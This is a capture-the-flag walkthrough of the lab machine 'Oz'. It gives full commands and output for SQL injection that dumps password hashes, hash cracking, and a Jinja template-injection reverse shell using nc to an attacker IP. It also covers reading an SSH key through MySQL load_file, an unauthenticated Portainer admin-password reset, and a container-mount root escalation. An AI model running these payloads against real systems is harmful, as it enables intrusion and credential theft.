Oz

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.96 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed May 10 13:10:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.068s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Wed May 10 13:10:51 2023 -- 1 IP address (1 host up) scanned in 26.58 secondsNow that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,60080 10.10.10.96 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed May 10 13:11:13 2023 as: nmap -sCV -p80,8080 -Pn -n -oN targeted 10.10.10.96
Nmap scan report for 10.10.10.96
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-trane-info: Problem with XML parsing of /evox/about
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 10 13:11:25 2023 -- 1 IP address (1 host up) scanned in 11.87 secondsThere is an API on port 80.
curl http://10.10.10.96/
<title>OZ webapi</title>
<h3>Please register a username!</h3>With wfuzz, we could see that there is a directory called users.
wfuzz -c --hw=1,4 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000188: 200 3 L 6 W 79 Ch "users"
...Inside the users directory, we'll see the admin directory available. We'll also see that the ' character gives a 500 response.
wfuzz -c --hh=5 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.96/users/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.96/users/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000245: 200 1 L 1 W 21 Ch "admin"
000002010: 500 4 L 40 W 291 Ch "'"The /admin directory shows the username admin.
curl -s "http://10.10.10.96/users/admin" | jq
{
"username": "admin"
}The ' character breaks the server.
curl "http://10.10.10.96/users/'"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>Exploitation
With a simple SQL injection payload, we are able to get another user.
curl -s "http://10.10.10.96/users/'%20or%201=1--%20-"
{"username":"dorthi"}Let's enumerate the database. First, get the name of the database.
curl -s "http://10.10.10.96/users/'%20union%20select%20database()--%20-" | jq '.username'
"ozdb"Now, check which are its tables.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='ozdb'--%20-" | jq '.username'
"tickets_gbw,users_gbw"Let's get the columns of the users_gbw table.
curl -s "http://10.10.10.96/users/'%20union%20select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema='ozdb'%20and%20table_name='users_gbw'--%20-" | jq '.username'
"id,username,password"Finally, dump the entire users_gbw table.
for i in $(seq 1 10); do curl -s "http://10.10.10.96/users/'%20union%20select%20concat(username,':',password)%20from%20ozdb.users_gbw%20limit%20$i,1--%20-" | jq '.username' | tr -d '"'; done
tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ
null
null
null
null
nullLet's try to break these hashes. Put them into the hashes file. If we try to break it with john, we'll see that it identifies the hashes as PBKDF2-HMAC-SHA256. But it is very slow.
john -w=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (PBKDF2-HMAC-SHA256 [PBKDF2-SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.01% (ETA: 23:24:54) 0g/s 834.7p/s 5078c/s 5078C/s clover..athena
...Let's use hashcat instead. First, we need to know the hash mode, and the format of the hash.
hashcat --example-hashes | grep ': PBKDF2-HMAC-SHA256' -C 10
...
Hash mode #10900
Name................: PBKDF2-HMAC-SHA256
Category............: Generic KDF
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYkAs the format of the has is different, we need to tweak the hashes that we have to make it work.
cat hashes | sed 's/pbkdf2-//g' | tr "$" ":" | sed 's/::/:/' | sponge
Finally, break the hashes with hashcat.
hashcat -m 10900 -a 0 hashes /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
...
sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY:wizardofoz22
...This looks like the password of wizard.oz.The website on port 8080 shows a login page. Let's use the credentials we got.

Inside, we'll see twelve tickets.

The eighth ticket says that there might be SSH keys in /home/dorthi/.

From the + button, we could add a new ticket. Try to add a new ticket, intercept the request with BurpSuite, and send it to the repeater.

Our input appears in the response. We could try to inject SSTI payloads, such as python code.

Time to get a shell. First, let's set a netcat listener on port 4444.
rlwrap nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Using the following payload, we'll get access as root to a machine called tix-app, which looks like a container.
{{ self.init.globals.builtins.import('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.6 4444 >/tmp/f').read() }}

Listening on 0.0.0.0 4444
Connection received on 10.10.10.96 45436
/bin/sh: can't access tty; job control turned off
/app # whoami
root
/app # hostname
tix-app
/app # hostname -i
10.100.10.2Privilege Escalation
In the root directory, there is one folder called .secret, and another one called containers.
ls -la /
total 72
drwxr-xr-x 53 root root 4096 Sep 22 2022 .
drwxr-xr-x 53 root root 4096 Sep 22 2022 ..
-rwxr-xr-x 1 root root 0 May 15 2018 .dockerenv
drwxr-xr-x 2 root root 4096 Apr 24 2018 .secret
drwxr-xr-x 5 root root 4096 Sep 22 2022 app
drwxr-xr-x 2 root root 4096 Sep 22 2022 bin
drwxr-xr-x 3 root root 4096 Sep 22 2022 containers
drwxr-xr-x 5 root root 340 May 10 19:34 dev
drwxr-xr-x 26 root root 4096 Sep 22 2022 etc
drwxr-xr-x 2 root root 4096 Sep 22 2022 home
drwxr-xr-x 9 root root 4096 Sep 22 2022 lib
lrwxrwxrwx 1 root root 12 Jan 9 2018 linuxrc -> /bin/busybox
drwxr-xr-x 5 root root 4096 Sep 22 2022 media
drwxr-xr-x 2 root root 4096 Sep 22 2022 mnt
dr-xr-xr-x 166 root root 0 May 10 19:34 proc
drwx------ 3 root root 4096 Sep 22 2022 root
drwxr-xr-x 2 root root 4096 Sep 22 2022 run
drwxr-xr-x 2 root root 4096 Sep 22 2022 sbin
drwxr-xr-x 2 root root 4096 Sep 22 2022 srv
dr-xr-xr-x 13 root root 0 May 10 19:34 sys
drwxrwxrwt 2 root root 4096 May 11 08:03 tmp
drwxr-xr-x 24 root root 4096 Sep 22 2022 usr
drwxr-xr-x 17 root root 4096 Sep 22 2022 varThe .secret directory has a file called knockd.conf.
ls -la /.secret
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = synThis file configures port knocking on the system. This means that if ports 40809, 50212 and 46969 are hit, then port 22 will open. We can test it out.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; nmap -p22 -n -Pn 10.10.10.96
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 09:00 GMT
Nmap scan report for 10.10.10.96
Host is up (0.039s latency).
PORT STATE SERVICE
22/tcp open ssh
Nmap done: 1 IP address (1 host up) scanned in 0.24 secondsThe containers directory has another folder inside called database.
ls -la /containers
total 12
drwxr-xr-x 3 root root 4096 Sep 22 2022 .
drwxr-xr-x 53 root root 4096 Sep 22 2022 ..
drwxr-xr-x 3 root root 4096 May 25 2018 databaseInside, there is a bash script called start.sh.
ls -la /containers/database
total 28
drwxr-xr-x 3 root root 4096 May 25 2018 .
drwxr-xr-x 3 root root 4096 Sep 22 2022 ..
-rw-r--r-- 1 root root 96 Apr 23 2018 Dockerfile
-rw-r--r-- 1 root root 5292 Apr 23 2018 my.cnf
drwxr-xr-x 2 root root 4096 Apr 25 2018 sshkeys
-rwxr--r-- 1 root root 418 May 25 2018 start.shWhich contains credentials for a database hosted in 10.100.10.4.
cat /containers/database/start.sh
#!/bin/bash
docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
-e MYSQL_DATABASE=ozdb \
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5Let's try to connect to the remote database.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "show databases"
Database
information_schema
mysql
ozdb
performance_schemaThe credentials are valid. As the database is in a remote server, we could try to retrieve local files from that server. As we saw earlier, there is one user called dorthi, which might have some SSH keys.
mysql -h 10.100.10.4 -u root -pSuP3rS3cr3tP@ss -e "select load_file('/home/dorthi/.ssh/id_rsa')"
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
...
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----Now that we have an SSH private key for dorthi, let's log into the machine. Enter the dorthi password we found in the bash script to decrypt the SSH key. Then, we'll be able to grab the user flag.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa
Enter passphrase for key 'id_rsa': N0Pl4c3L1keH0me
dorthi@oz:~$ whoami
dorthi
dorthi@oz:~$ hostname
oz
dorthi@oz:~$ cat user.txt
18e88d03f2d172494abf06eed56d07feIf we check the sudo privileges, we'll see that we can list and inspect docker networks.
sudo -l
Matching Defaults entries for dorthi on oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network lsThere a are a few networks configured.
sudo docker network ls
NETWORK ID NAME DRIVER SCOPE
3fc824b7c586 bridge bridge local
49c1b0c16723 host host local
3ccc2aa17acf none null local
48148eb6a512 prodnet bridge localThe bridge network has one container with the IP address 172.17.0.2 hosting a portainer-1.11.1 server.
sudo docker network inspect bridge
[
{
"Name": "bridge",
"Id": "3fc824b7c58643505df31dd50d4432209a1a23459b1c39c2e877ad4fdb653195",
"Created": "2023-05-10T14:34:00.499850853-05:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.0.1"
}
]
},
"Internal": false,
"Attachable": false,
"Containers": {
"e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
"Name": "portainer-1.11.1",
"EndpointID": "9d66d01243d11dcc57b1dfe5d398b4f2cf75f5e8033017f7c42fd354e7502298",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
},
"Options": {
"com.docker.network.bridge.default_bridge": "true",
"com.docker.network.bridge.enable_icc": "true",
"com.docker.network.bridge.enable_ip_masquerade": "true",
"com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
"com.docker.network.bridge.name": "docker0",
"com.docker.network.driver.mtu": "1500"
},
"Labels": {}
}
]The server has nmap. Let's use it to scan the ports of the portainer server.
nmap -p- --min-rate 5000 -n -Pn 172.17.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2023-05-11 04:26 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
9000/tcp open cslistener
Nmap done: 1 IP address (1 host up) scanned in 1.58 secondsNow do port forwarding of that port.
for port in 40809 50212 46969; do echo "test" | nc -u -w 1 10.10.10.96 $port; done; ssh dorthi@10.10.10.96 -i id_rsa -L 9000:172.17.0.2:9000
The portainer server shows a login page.

I found this vulnerability, which allow any unauthenticated user to change the admin password. We just need to make a POST request with the new password.
curl -S -X POST 'http://localhost:9000/api/users/admin/init' -d '{"password": "alfa8sa"}' -H "Content-Type: application/json"
Now we are able to enter the server as admin.

There is a way to gain access to the main server as root. First, we need to check the image list.

I'll use the python:2.7-alpine image. Now, go to containers.

Create a new container called privEsc with the python:2.7-alpine image.

Select TTY as the console.

Then, create a volume that mounts the entire file system of the parent system to the /rootfs directory of the container.

Now, access the privEsc container, and start a console.

We have access to the container as root, but there is a directory called rootfs in /.

Give SUID permissions to the /bin/bash binary inside rootfs.

Finally, back in the SSH console, get a shell as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
bash-4.3# whoami
root
bash-4.3# hostname
oz
bash-4.3# hostname -I
10.10.10.96 10.100.10.1 172.17.0.1
bash-4.3# cat /root/root.txt
ef7cd4b76b9d19d3bb6a6d7a0afe31f0Last updated
Was this helpful?